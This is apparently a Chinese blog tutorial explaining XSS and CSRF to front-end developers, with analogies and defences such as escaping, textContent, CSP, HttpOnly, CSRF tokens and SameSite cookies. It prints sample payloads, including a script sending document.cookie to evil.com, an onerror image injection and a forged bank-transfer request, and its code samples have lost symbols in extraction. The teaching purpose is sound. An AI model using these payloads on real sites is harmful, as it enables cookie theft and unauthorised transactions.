你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”

张开发
2026/4/20 19:53:37 15 分钟阅读

分享文章

你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”
你有没有听说过点了个链接微博自动转发了奇怪的内容登录了银行网站钱莫名其妙被转走。今天我们就来揪出前端安全领域的两个“惯犯”——XSS跨站脚本攻击和CSRF跨站请求伪造。它们一个像“投毒者”一个像“冒充者”专门偷你的数据、干你的坏事。前言想象一下你开了个奶茶店。XSS就是有人在你店里的菜单上贴了一张纸“凭此券免费喝奶茶”然后顾客都来找你要免费奶茶。CSRF则是有人冒充你对供应商说“老板说再进1000箱珍珠”结果你莫名其妙多了一仓库珍珠。这两种攻击方式不同但都杀伤力巨大。今天我们就来认识它们然后学会怎么防。一、XSS跨站脚本攻击你的网站被人“投毒”了XSSCross-Site Scripting的意思是攻击者在你的网页里注入恶意脚本当其他用户访问时这个脚本就会在用户浏览器里执行偷Cookie、发请求、改页面内容。反射型XSS恶意链接里的“定时炸弹”攻击者把一个带恶意参数的链接发给你你一点网站把参数原样输出到页面上脚本就执行了。比如一个搜索页面https://example.com/search?qscriptalert(XSS)/script。如果网站直接输出q参数的内容就会弹出弹窗。危害偷Cookie、钓鱼、跳转恶意网站。存储型XSS留言板里的“慢性毒药”更可怕的是存储型。攻击者在评论区、个人简介等地方写入恶意脚本网站把它存进数据库。每个访问这个页面的用户都会执行这个脚本。比如你在博客评论区写scriptfetch(http://evil.com?cookiedocument.cookie)/script博主和所有读者看评论时Cookie就被发送给攻击者了。危害持久化感染所有访客。DOM型XSS不经过服务器的“内鬼”这种XSS不经过服务器完全由前端JS不安全地操作DOM导致。比如从URL参数取内容直接innerHTML。// 危险代码constnamenewURL(location.href).searchParams.get(name);document.getElementById(welcome).innerHTMLHello${name};攻击者构造?nameimg srcx onerroralert(1)脚本执行。怎么防XSS永远不要信任用户输入。任何用户可控制的数据URL参数、表单、请求头输出到HTML前都要转义。// 简单转义函数functionescapeHtml(str){returnstr.replace(/[]/g,function(m){if(m)returnamp;;if(m)returnlt;;if(m)returngt;;});}使用安全的APItextContent代替innerHTMLsetAttribute代替拼接HTML。// 安全element.textContentuserInput;// 危险element.innerHTMLuserInput;CSP内容安全策略通过HTTP头限制哪些脚本可以执行。比如禁止内联脚本、只允许白名单域名。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com使用框架的自动转义React、Vue等默认会转义输出但要注意v-html、dangerouslySetInnerHTML等危险操作。HttpOnly Cookie标记HttpOnly的Cookie无法被JS读取即使有XSS也偷不走。但注意这只能防偷Cookie不能防其他恶意操作。二、CSRF跨站请求伪造有人冒充你干坏事CSRFCross-Site Request Forgery的意思是攻击者诱导你访问一个恶意网站这个网站偷偷向你的目标网站比如银行、微博发起请求由于你之前登录过浏览器会自动带上Cookie目标网站以为是你本人的操作。一个典型的CSRF攻击你登录了银行网站bank.com浏览器存了Cookie。你访问了恶意网站evil.com。evil.com里有一张图片img srchttps://bank.com/transfer?toattackeramount10000。浏览器加载图片时向bank.com发起请求自动带上你的Cookie。银行验证了Cookie以为是你在转账扣了你的钱。危害修改密码、发帖、转账、删数据……一切你权限内的操作。怎么防CSRFCSRF Token服务器生成一个随机Token存在表单的隐藏字段或请求头里。提交时校验Token攻击者无法获取Token因为跨域限制。forminputtypehiddenname_csrfvalue随机字符串.../formSameSite Cookie设置Cookie的SameSite属性为Strict或Lax禁止第三方请求携带Cookie。Set-Cookie: sessionIdabc123; SameSiteStrictStrict任何跨站请求都不带Cookie。Lax部分安全的跨站请求如链接跳转带Cookie但POST表单不带。验证Referer/Origin服务器检查请求头中的Referer或Origin确保来自你自己的域名。但Referer可能被篡改或缺失不如Token可靠。使用自定义请求头比如X-Requested-With: XMLHttpRequest因为跨域请求不能随意设置自定义头需要CORS可以作为一种简单校验但也能被绕过最好配合Token。敏感操作二次验证修改密码、转账等操作要求输入密码或短信验证码。三、XSS和CSRF的“狼狈为奸”更可怕的是XSS和CSRF经常联手先用XSS注入脚本脚本里发起CSRF攻击。比如在留言板注入scriptfetch(/transfer?toevilamount10000)/script每个看留言的人都成了受害者。所以防御要层层设防XSS防注入CSRF防伪造。四、实战一个安全的评论显示组件// 安全地渲染用户评论functionrenderComment(comment){constdivdocument.createElement(div);// 用textContent而不是innerHTMLdiv.textContentcomment.text;// 如果要显示链接需要单独处理returndiv;}对于后端输出到HTML时也要转义?phpechohtmlspecialchars($comment,ENT_QUOTES,UTF-8);?五、总结安全三字经防XSS转义输出CSPHttpOnly。防CSRFTokenSameSite验证Referer。通用不要信任用户输入最小权限原则。前端安全不是只有大厂才要考虑。你写的一个小博客、一个留言板都可能被坏人利用。养成良好的安全习惯比出事后再补窟窿强一百倍。如果你觉得今天的“安全课”够警醒点个赞让更多人看到。明天我们将聊聊前端监控与错误上报——怎么第一时间发现线上的Bug而不是等用户骂你。我们明天见

更多文章